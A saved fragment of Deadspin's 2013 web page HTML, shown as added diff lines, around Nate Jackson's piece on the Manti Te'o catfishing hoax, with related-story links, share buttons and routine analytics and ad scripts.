+ <a href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fdeadspin.com%2F5978653%2Fall-football-players-are-suckers-a-former-nfl-no%2Bnamer-on-his-lennay-kekua-moment" target="_blank" onclick="_gaq.push(['_trackEvent', 'share', 'facebook', 'http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment']);window.open(this.href,'sharefb','toolbar=0,status=0,width=480,height=420');jQuer [...]
+ </li>
+ <li class="share_twitter">
+ <a href="http://twitter.com/share?url=http%3A%2F%2Fdeadspin.com%2F5978653%2Fall-football-players-are-suckers-a-former-nfl-no%2Bnamer-on-his-lennay-kekua-moment&text=Manti+Te%27o%3A+All+Football+Players+Are+Suckers%3A+An+NFL+No-Namer+On+His+Catfishy+Moment+-+%40Deadspin" target="_blank" onclick="_gaq.push(['_trackEvent', 'share', 'twitter', 'http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment [...]
+ </li>
+ <li class="share_stumbleupon">
+ <a href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fdeadspin.com%2F5978653%2Fall-football-players-are-suckers-a-former-nfl-no%2Bnamer-on-his-lennay-kekua-moment&title=Manti+Te%27o%3A+All+Football+Players+Are+Suckers%3A+An+NFL+No-Namer+On+His+Catfishy+Moment+-+%40Deadspin" target="_blank" onclick="_gaq.push(['_trackEvent', 'share', 'stumbleupon', 'http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-k [...]
+ </li>
+ <li class="share_tumblr">
+ <a href="http://www.tumblr.com/share/link?url=http%3A%2F%2Fdeadspin.com%2F5978653%2Fall-football-players-are-suckers-a-former-nfl-no%2Bnamer-on-his-lennay-kekua-moment&name=Manti+Te%27o%3A+All+Football+Players+Are+Suckers%3A+An+NFL+No-Namer+On+His+Catfishy+Moment%28via+%40Deadspin%29&description=" target="_blank" title="Share on Tumblr" onclick="_gaq.push(['_trackEvent', 'share', 'tumblr', 'http://deadspin.com/5978653/all-football-players-are-suckers- [...]
+ </li>
+ <li class="share_instapaper">
+ <a href="http://www.instapaper.com/hello2?url=http%3A%2F%2Fdeadspin.com%2F5978653%2Fall-football-players-are-suckers-a-former-nfl-no%2Bnamer-on-his-lennay-kekua-moment&title=Manti+Te%27o%3A+All+Football+Players+Are+Suckers%3A+An+NFL+No-Namer+On+His+Catfishy+Moment+-+%40Deadspin" target="_blank" onclick="_gaq.push(['_trackEvent', 'share', 'instapaper', 'http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kek [...]
+ </li>
+ <li class="pm_tool presence_control_external share_email">
+ <a class="pm_tool mail2control cn_toggle" rel="nofollow" title="Send to friend" href="http://deadspin.com/#" onclick="_gaq.push(['_trackEvent', 'share', 'email', 'http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment']);jQuery('.share_menu').hide();"><span>Email this post</span></a>
+ </li>
+ </ul>
+ </div>
+
+<div id="gplus"><div style="height: 20px; width: 32px; display: inline-block; text-indent: 0px; margin: 0px; padding: 0px; background-color: transparent; border-style: none; float: none; line-height: normal; font-size: 1px; vertical-align: baseline; background-position: initial initial; background-repeat: initial initial;" id="___plusone_0"><iframe frameborder="0" hspace="0" marginheight="0" marginwidth="0" scrolling="no" style="position: static; top: 0px; width: 32px; margin: 0px; borde [...]
+ <div id="socialbuttons">
+ <div class="facebook" style="display: block;">
+ <fb:like style="z-index: 20000;" href="http%3A%2F%2Fdeadspin.com%2F5978653%2Fall-football-players-are-suckers-a-former-nfl-no%2Bnamer-on-his-lennay-kekua-moment" send="false" layout="button_count" width="126" show_faces="false" font="lucida grande" fb-xfbml-state="parsed" class="fb_edge_widget_with_comment fb_iframe_widget"><span style="height: 21px; width: 126px;"><iframe id="f24354b7e8" name="f2810e1048" scrolling="no" style="border: none; overflow: hidden; height: 21px; width: 126p [...]
+ </div>
+ <div class="twitter" style="display: none;">
+ <a href="https://twitter.com/share" class="twitter-share-button" data-url="http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment" data-text="Manti Te'o: All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment - @Deadspin">Tweet</a>
+ </div>
+ <div class="stumbleupon" style="display: none;">
+ <su:badge layout="1" location="http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment"></su:badge>
+ </div>
+ <div class="linkedin" style="display: none;">
+ </div>
+ </div>
+ </div>
+
+ <span class="clear"></span>
+ </div>
+</div>
+
+<script type="text/javascript">
+addAuthorDropdownClick();
+</script>
+
+
+ <h1><a title="" href="http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_headline">All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment</a></h1>
+ <div class="post-body">
+ <div class="nodebyline modfont">
+ <strong>
+ <a href="https://twitter.com/nathanserious">Nate Jackson</a> </strong>
+ </div>
+ <p><a rel="lytebox" href="http://img.gawkerassets.com/img/18cir8n4oaz43jpg/original.jpg"><img src="./deadspin_files/medium.jpg" width="300" class="image_0 v10_medium" alt="All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment" title="All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment" style="display: none; margin-right: 0px;"></a>One day during the NFL offseason, I got a text message.</p> <p>"Hey Nate. Great meeting you a few we [...]
+
+ </div>
+
+<div id="comments">
+</div><span class="related-heading modfont ui-light">Related Stories</span>
+<ul class="related">
+ <li>
+ <h3>
+ <a href="http://gawker.com/5978848/the-governments-asinine-advice-on-how-to-avoid-sweetheart-scams-wouldnt-have-helped-manti-teo-if-hes-telling-the-truth?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_1" target="_blank">The Government's Asinine Advice on How to Avoid 'Sweetheart Scams' Wouldn't Have Helped Manti Te’o (If He's Telling the Truth)</a>
+ <span class="modfont">Gawker</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://gawker.com/5978829/watch-katie-couric-call-manti-teo-stupid-over-and-over?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_2" target="_blank">Watch Katie Couric Call Manti Te’o Stupid, Over and Over</a>
+ <span class="modfont">Gawker</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://jezebel.com/5978794/the-state-department-fights-to-protect-americans-from-the-threat-of-fake-girlfriends?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_3" target="_blank">The State Department Fights to Protect Americans From the Threat of Fake Girlfriends</a>
+ <span class="modfont">Jezebel</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://gawker.com/5978789/manti-teo-tells-katie-couric-he-is-double-plus-ungay?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_4" target="_blank">Manti Te'o Tells Katie Couric He Is Double Plus Ungay</a>
+ <span class="modfont">Gawker</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5978760/manti-teos-interview-with-katie-couric-a-liveblog?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_5">Manti Te'o's Interview With Katie Couric: A Liveblog</a>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://gawker.com/5978692/manti-teo-to-katie-couric-lennay-came-out-of-her-fake-coma-while-on-the-phone-with-me?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_6" target="_blank">Manti Te’o to Katie Couric: Lennay Came Out of Her Fake Coma While On the Phone with Me</a>
+ <span class="modfont">Gawker</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://gawker.com/5978710/listen-to-the-hoax-lennay-kekua-voicemails-apparently-recorded-by-ronaiah-tuiasosopo?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_7" target="_blank">Listen to the Hoax 'Lennay Kekua' Voicemails, Apparently Recorded by Ronaiah Tuiasosopo</a>
+ <span class="modfont">Gawker</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5978713/listen-to-manti-teos-voicemails-from-lennay-kekuaronaiah-tuiasosopo?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_8">Listen To Manti Te'o's Voicemails From Lennay Kekua/Ronaiah Tuiasosopo</a>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5978674/manti-teo-joins-notre-dames-long-tradition-of-bullshit?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_related_9">Manti Te'o Joins Notre Dame’s Long Tradition Of Bullshit</a>
+ </h3>
+ </li>
+</ul>
+ </div>
+ <!-- /content -->
+<script type="text/javascript">
+jQuery( function() {
+ var fade;
+ if( (pageType == 'post' || pageType == 'frontpage' || pageType == 'tagpage') && jQuery('.alternates').length > 0 ){
+ jQuery('.alternates .taglink').mouseenter(function(){jQuery('.tag-more').fadeIn(100)});
+ jQuery('.alternates .topspan').mouseenter(function(){jQuery('.tag-more').fadeIn(100)});
+ jQuery('.alternates').hover(function(){clearTimeout(fade);}, function(){fade = setTimeout("jQuery('.tag-more').fadeOut(100)",2000)});
+ }
+}
+);
+</script>
+
+ <ul class="splashposts">
+ <li class="post expanded">
+ <div class="marked-head ui-border">
+ <a href="http://deadspin.com/manti-te.o-vs%27-katie-couric/" class="taglink modfont gaqtrack" data-gaqevent="homepage_click" data-gaqid="2_tag">manti te'o vs. katie couric</a>
+ </div>
+ <div class="illustration">
+ <a title="" href="http://deadspin.com/5978760/manti-teos-interview-with-katie-couric-a-liveblog" class=" gaqtrack" gaqtrack="" data-gaqevent="homepage_click" data-gaqid="2_img">
+ <img src="./deadspin_files/medium_169.jpg" title="" alt="" width="300">
+ </a>
+
+ </div>
+ <h2><a title="" href="http://deadspin.com/5978760/manti-teos-interview-with-katie-couric-a-liveblog" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="2_headline">Manti Te’o’s Interview With Katie Couric: A Liveblog</a></h2>
+ <div class="post-body">
+ <p>Katie Couric taped her big interview with Manti Te'o Tuesday afternoon. It airs today throughout America. Although the Couric/Te'o publicity team has released a handful of advance snippets—<a href="http://deadspin.com/5978296/manti-teo-tells-katie-couric-he-lied">Te'o's admission that he lied to the press</a>, <a href="http://deadspin.com/5978713/listen-to-manti-teos-voicemails-from-lennay-kekuaronaiah-tuiasosopo">voicemails allegedly from Kekua</a>—most of what Te'o and... <a [...]
+ </div>
+
+
+ </li>
+ <li class="post expanded">
+ <div class="marked-head ui-border">
+ <a href="http://deadspin.com/manti-te.o/" class="taglink modfont gaqtrack" data-gaqevent="homepage_click" data-gaqid="3_tag">manti te'o</a>
+ </div>
+ <div class="illustration">
+ <a title="" href="http://deadspin.com/5978713/listen-to-manti-teos-voicemails-from-lennay-kekuaronaiah-tuiasosopo" class=" gaqtrack" gaqtrack="" data-gaqevent="homepage_click" data-gaqid="3_img">
+ <img src="./deadspin_files/medium_169(1).jpg" title="" alt="" width="300">
+ </a>
+
+ </div>
+ <h2><a title="" href="http://deadspin.com/5978713/listen-to-manti-teos-voicemails-from-lennay-kekuaronaiah-tuiasosopo" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="3_headline">Listen To Manti Te’o’s Voicemails From Lennay Kekua/Ronaiah Tuiasosopo</a></h2>
+ <div class="post-body">
+ <p>In advance of this afternoon's interview, Katie Couric's show has released <a href="http://www.katiecouric.com/features/hear-the-voicemails-from-manti-teos-girlfriend-a-katie-exclusive/">recordings of three voicemails </a>provided by Manti Te'o. The messages were left on Te'o's phone by who he believed was Lennay Kekua. <a href="http://deadspin.com/5978713/listen-to-manti-teos-voicemails-from-lennay-kekuaronaiah-tuiasosopo" class="gaqtrack" data-gaqevent="homepage_click" data-g [...]
+ </div>
+
+<span class="related-heading modfont ui-light">Related Stories</span>
+<ul class="related">
+ <li>
+ <h3>
+ <a href="http://gawker.com/5978848/the-governments-asinine-advice-on-how-to-avoid-sweetheart-scams-wouldnt-have-helped-manti-teo-if-hes-telling-the-truth?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="3_related_1" target="_blank">The Government's Asinine Advice on How to Avoid 'Sweetheart Scams' Wouldn't Have Helped Manti Te’o (If He's Telling the Truth)</a>
+ <span class="modfont">Gawker</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://gawker.com/5978829/watch-katie-couric-call-manti-teo-stupid-over-and-over?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="3_related_2" target="_blank">Watch Katie Couric Call Manti Te’o Stupid, Over and Over</a>
+ <span class="modfont">Gawker</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5978653/all-football-players-are-suckers-an-nfl-no+namer-on-his-catfishy-moment?tag=manti-te.o" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="3_related_3">All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment</a>
+ </h3>
+ </li>
+ <li class="showmore"><a href="http://deadspin.com/manti-te.o/" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="3_related_more">More »</a></li>
+</ul>
+
+ </li>
+ </ul>
+ <ul class="splashposts">
+ <li class="post small">
+ <div class="marked-head ui-border">
+ <a href="http://deadspin.com/no-such-dame/" class="taglink modfont gaqtrack" data-gaqevent="homepage_click" data-gaqid="4_tag">no such dame</a>
+ </div>
+ <div class="illustration">
+ <a title="" href="http://deadspin.com/5976517/manti-teos-dead-girlfriend-the-most-heartbreaking-and-inspirational-story-of-the-college-football-season-is-a-hoax?tag=no-such-dame" class=" gaqtrack" gaqtrack="" data-gaqevent="homepage_click" data-gaqid="4_img">
+ <img src="./deadspin_files/micro.jpg" title="" alt="" width="300">
+ </a>
+
+ </div>
+ <h2><a title="" href="http://deadspin.com/5976517/manti-teos-dead-girlfriend-the-most-heartbreaking-and-inspirational-story-of-the-college-football-season-is-a-hoax?tag=no-such-dame" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="4_headline">Manti Te’o’s Dead Girlfriend, The Most Heartbreaking And Inspirational Story Of The College Football Season, Is A Hoax</a></h2>
+<span class="related-heading modfont ui-light">Related Stories</span>
+<ul class="related">
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5978653/all-football-players-are-suckers-an-nfl-no+namer-on-his-catfishy-moment?tag=no-such-dame" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="4_related_1">All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment</a>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5978760/manti-teos-interview-with-katie-couric-a-liveblog?tag=no-such-dame" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="4_related_2">Manti Te'o's Interview With Katie Couric: A Liveblog</a>
+ </h3>
+ </li>
+</ul>
+ <div class="related-more"><a href="http://deadspin.com/no-such-dame/" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="4_related_more">More »</a></div>
+
+ </li>
+ <li class="post small">
+ <div class="marked-head ui-border">
+ <a href="http://deadspin.com/sacramento-kings/" class="taglink modfont gaqtrack" data-gaqevent="homepage_click" data-gaqid="5_tag">sacramento kings</a>
+ </div>
+ <div class="illustration">
+ <a title="" href="http://deadspin.com/5978111/a-history-lesson-for-sacramento-how-kansas-city-lost-the-kings?tag=sacramento-kings" class=" gaqtrack" gaqtrack="" data-gaqevent="homepage_click" data-gaqid="5_img">
+ <img src="./deadspin_files/micro(1).jpg" title="" alt="" width="300">
+ </a>
+
+ </div>
+ <h2><a title="" href="http://deadspin.com/5978111/a-history-lesson-for-sacramento-how-kansas-city-lost-the-kings?tag=sacramento-kings" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="5_headline">A History Lesson For Sacramento: How Kansas City Lost The Kings</a></h2>
+<span class="related-heading modfont ui-light">Related Stories</span>
+<ul class="related">
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5978173/shawn-kemp-feels-bad-for-sacramento-losing-the-kings-but-says-seattle-has-better-fans?tag=sacramento-kings" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="5_related_1">Shawn Kemp Feels Bad For Sacramento Losing The Kings, But Says Seattle Has Better Fans</a>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5977547/the-sacramento-kings-are-a-step-closer-to-moving-to-seattle?tag=sacramento-kings" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="5_related_2">The Sacramento Kings Are A Step Closer To Moving To Seattle</a>
+ </h3>
+ </li>
+</ul>
+ <div class="related-more"><a href="http://deadspin.com/sacramento-kings/" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="5_related_more">More »</a></div>
+
+ </li>
+ <li class="post small">
+ <div class="marked-head ui-border">
+ <a href="http://deadspin.com/tributes/" class="taglink modfont gaqtrack autoplay" data-gaqevent="homepage_click" data-gaqid="6_tag">tributes</a>
+ </div>
+ <div class="illustration">
+ <a title="" href="http://deadspin.com/5977618/tell-it-to-your-analyst-the-raging-genius-of-earl-weaver?tag=tributes" class=" gaqtrack autoplay" gaqtrack="" data-gaqevent="homepage_click" data-gaqid="6_img">
+ <img src="./deadspin_files/micro(2).jpg" title="" alt="" width="300">
+ <span class="videoOverlay"></span> </a>
+
+ </div>
+ <h2><a title="" href="http://deadspin.com/5977618/tell-it-to-your-analyst-the-raging-genius-of-earl-weaver?tag=tributes" class="gaqtrack autoplay" data-gaqevent="homepage_click" date-gaqid="6_headline">Tell It To Your Analyst: The Raging Genius Of Earl Weaver</a></h2>
+<span class="related-heading modfont ui-light">Related Stories</span>
+<ul class="related">
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5963780/marvin-miller-the-man-who-beat-some-sense-into-baseball?tag=tributes" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="6_related_1">Marvin Miller, The Man Who Beat Some Sense Into Baseball</a>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://gawker.com/5954647/todays-song-mela-machinko-what-you-want-me-to-do-im-sorry?tag=tributes" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="6_related_2" target="_blank">Today's Song: Mela Machinko "What You Want Me To Do (I'm Sorry)"</a>
+ <span class="modfont">Gawker</span>
+ <span class="quicklinkIcon"></span>
+ </h3>
+ </li>
+</ul>
+ <div class="related-more"><a href="http://deadspin.com/tributes/" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="6_related_more">More »</a></div>
+
+ </li>
+ <li class="post small" id="sponsor_replaceable">
+ <div class="marked-head ui-border">
+ <a href="http://deadspin.com/jamboroo/" class="taglink modfont gaqtrack" data-gaqevent="homepage_click" data-gaqid="7_tag">jamboroo</a>
+ </div>
+ <div class="illustration">
+ <a title="" href="http://deadspin.com/5978707/a-treasure-trove-of-animal-murder-stories-for-your-super-bowl-bye-week?tag=jamboroo" class=" gaqtrack" gaqtrack="" data-gaqevent="homepage_click" data-gaqid="7_img">
+ <img src="./deadspin_files/micro(3).jpg" title="" alt="" width="300">
+ </a>
+
+ </div>
+ <h2><a title="" href="http://deadspin.com/5978707/a-treasure-trove-of-animal-murder-stories-for-your-super-bowl-bye-week?tag=jamboroo" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="7_headline">A Treasure Trove Of Animal Murder Stories For Your Super Bowl Off-Week</a></h2>
+<span class="related-heading modfont ui-light">Related Stories</span>
+<ul class="related">
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5976757/everything-supposedly-bad-for-the-nfl-is-good-for-the-nfl?tag=jamboroo" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="7_related_1">Everything Supposedly Bad For The NFL Is Good For The NFL</a>
+ </h3>
+ </li>
+ <li>
+ <h3>
+ <a href="http://deadspin.com/5974789/save-the-black-quarterback?tag=jamboroo" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="7_related_2">Save The Black Quarterback</a>
+ </h3>
+ </li>
+</ul>
+ <div class="related-more"><a href="http://deadspin.com/jamboroo/" class="gaqtrack" data-gaqevent="homepage_click" date-gaqid="7_related_more">More »</a></div>
+
+ </li>
+<!-- sponsored -->
+
+ </ul>
+ <div class="ad_perma-panorama default"><div class="ad panorama">
+<!-- widget container -->
+<div id="ad_container_18950562" class="ad_container 640x360 default" style="display: none;">
+
+<iframe id="ad_iframe_18950562" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="640" height="360" src="./deadspin_files/ad_iframe(2).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_18950562').HyperionAd({"mode":"iframe","width":640,"height":360,"size":"640x360","hyperion_class":"HyperionAd","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":18950562,"variant":"default","tags":["mantiteo","nfl","catfishing","hoaxes","lennaykekua","news","top","nosuchdame"],"headline":"All Football Players Are Suckers: An NFL No-N [...]
+</script>
+</div></div>
+
+<div id="sitetags">
+
+ <div class="current-site site site-deadspin">
+ <div class="fblike fbfooter"><fb:like href="http%3A%2F%2Fwww.facebook.com%2FDeadspin" send="false" layout="button_count" width="126" show_faces="false" font="lucida grande" fb-xfbml-state="parsed" class=" fb_edge_widget_with_comment fb_iframe_widget"><span style="height: 21px; width: 126px;"><iframe id="f6cb68b68" name="f6215d64c" scrolling="no" style="border: none; overflow: hidden; height: 21px; width: 126px;" title="Like this content on Facebook." class="fb_ltr" src="about:blank"></ [...]
+ <div class="subscribe gplus gplus_button"><g:plusone size="medium" count="false" href="http://deadspin.com"></g:plusone></div>
+ <div class="subscribe twitter"><a href="https://twitter.com/intent/user?region=following&screen_name=Deadspin&source=followbutton&variant=1.1" title="Follow us on Twitter" onclick="window.open(this.href,'sharetwitter','toolbar=0,status=0,width=450,height=510');return false;"><span>Twitter</span></a></div>
+ <div class="subscribe rss"><a href="http://feeds.gawker.com/Deadspin/full" title="RSS" target="_blank"><span>RSS</span></a></div>
+ <div class="subscribe envelope" title="Subscribe to our newsletter"><span>Newsletter</span></div>
+ <div id="newsletter_signup_footer" class="newsletter_signup marked-head ui-border">
+ <form class="newsletter_control cn_form">
+ <input type="hidden" name="op" value="newsletter_signup">
+ <input type="hidden" id="SIGNUP" name="SIGNUP" value="footer">
+ <span class="subscribe_title modfont">Get the top story in your inbox:</span>
+ <input type="text" name="email" id="newsletter_email" class="text validate valid_nonempty valid_email newsletter_control cn_newsletter_signup" autocapitalize="off" autocorrect="off" placeholder="Email">
+ <input type="submit" class="button" value="Send">
+ <img class="newsletter_control cn_indicator" style="border: none; display: none;" width="16" height="16" alt="sending request" src="./deadspin_files/progressIndicator_roller.gif">
+ <div class="validationmessage email_validmsg msg_valid_nonempty">Please enter your email address.</div>
+ <div class="validationmessage email_validmsg msg_valid_email">Please enter a valid email address.</div>
+ <div class="newsletter_control cn_message"></div>
+ </form>
+ </div>
+
+ <!--runScript-->
+ <script language="javascript">
+ GawkerClientside.pushWidget( 'newsletter_signup', jQuery('#newsletter_signup_footer').SimpleFormWidget( settings.widgets.simpleform.byselector['.newsletter_signup'].options ).data('SimpleFormWidget') );
+ jQuery( function() {
+ var fade;
+ jQuery('.subscribe.envelope').hover(
+ function(){clearTimeout(fade);jQuery('#newsletter_signup_footer').fadeIn(100)},
+ function(){fade = setTimeout("jQuery('#newsletter_signup_footer').fadeOut(100)", 2000)}
+ );
+ jQuery('#newsletter_signup_footer').hover(
+ function(){clearTimeout(fade);},
+ function(){fade = setTimeout("jQuery('#newsletter_signup_footer').fadeOut(100)", 2000)}
+ );
+ });
+ </script>
+ <div class="heading marked-head ui-border"><img src="./deadspin_files/deadspin.png"></div>
+
+ <ul class="modfont">
+ <li><a href="http://deadspin.com/athlete-meltdowns/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">athlete meltdowns</a></li>
+ <li><a href="http://deadspin.com/college-football/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">college football</a></li>
+ <li><a href="http://deadspin.com/dead-letters/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">dead letters</a></li>
+ <li><a href="http://deadspin.com/death-to-the-ncaa/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">death to the ncaa</a></li>
+ <li><a href="http://deadspin.com/foodspin/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">foodspin</a></li>
+ <li><a href="http://deadspin.com/funbag/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">funbag</a></li>
+ <li><a href="http://deadspin.com/high-school-basketball/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">high school basketball</a></li>
+ </ul>
+ <ul class="modfont">
+ <li><a href="http://deadspin.com/i-of-the-tiger/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">i of the tiger</a></li>
+ <li><a href="http://deadspin.com/injuries/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">injuries</a></li>
+ <li><a href="http://deadspin.com/jamboroo/" class="gaqtrack hilite" data-gaqevent="homepage_click" data-gaqid="sitetag">jamboroo</a></li>
+ <li><a href="http://deadspin.com/lance-armstrong/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">lance armstrong</a></li>
+ <li><a href="http://deadspin.com/lennay-kekua/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">lennay kekua</a></li>
+ <li><a href="http://deadspin.com/manti-te.o/" class="gaqtrack hilite" data-gaqevent="homepage_click" data-gaqid="sitetag">manti te'o</a></li>
+ <li><a href="http://deadspin.com/manti-te.o-vs%27-katie-couric/" class="gaqtrack hilite" data-gaqevent="homepage_click" data-gaqid="sitetag">manti te'o vs. katie couric</a></li>
+ </ul>
+ <ul class="modfont">
+ <li><a href="http://deadspin.com/nba-shit-list/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">NBA Shit List</a></li>
+ <li><a href="http://deadspin.com/nfl-gifs/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">nfl gifs</a></li>
+ <li><a href="http://deadspin.com/nfl-roundtable-2012/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">nfl roundtable 2012</a></li>
+ <li><a href="http://deadspin.com/no-such-dame/" class="gaqtrack hilite" data-gaqevent="homepage_click" data-gaqid="sitetag">no such dame</a></li>
+ <li><a href="http://deadspin.com/projecting/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">projecting</a></li>
+ <li><a href="http://deadspin.com/rants/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">rants</a></li>
+ <li><a href="http://deadspin.com/rex-ryan/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">rex ryan</a></li>
+ </ul>
+ <ul class="modfont last">
+ <li><a href="http://deadspin.com/sacramento-kings/" class="gaqtrack hilite" data-gaqevent="homepage_click" data-gaqid="sitetag">sacramento kings</a></li>
+ <li><a href="http://deadspin.com/scary-scary-drugs/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">scary scary drugs</a></li>
+ <li><a href="http://deadspin.com/sherlock-holmes/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">sherlock holmes</a></li>
+ <li><a href="http://deadspin.com/shut-up%2c-whitey/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">shut up, whitey</a></li>
+ <li><a href="http://deadspin.com/the-classical/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">the classical</a></li>
+ <li><a href="http://deadspin.com/tributes/" class="gaqtrack hilite" data-gaqevent="homepage_click" data-gaqid="sitetag">tributes</a></li>
+ <li><a href="http://deadspin.com/yakspin/" class="gaqtrack normal" data-gaqevent="homepage_click" data-gaqid="sitetag">yakspin</a></li>
+ </ul>
+ </div>
+ <div class="site site-gawker first">
+ <a class="marked-head gawker-head gawker-border heading nocapture" href="http://gawker.com/"><img src="./deadspin_files/gawker.png"></a>
+ <a href="http://gawker.com/5978735/we-came-we-spun-we-dubstepped-gawker-does-soulcycle?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation" class="nocapture"><img width="130" height="72" src="./deadspin_files/micro(4).jpg" title="We Came, We Spun, We Dubstepped: Gawker Does SoulCycle" class="editorial"></a>
+ <p><a href="http://gawker.com/5978735/we-came-we-spun-we-dubstepped-gawker-does-soulcycle?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation">We Came, We Spun, We Dubstepped: Gawker Does SoulCycle</a></p>
+ </div>
+ <div class="site site-lifehacker">
+ <a class="marked-head lifehacker-head lifehacker-border heading nocapture" href="http://lifehacker.com/"><img src="./deadspin_files/lifehacker.png"></a>
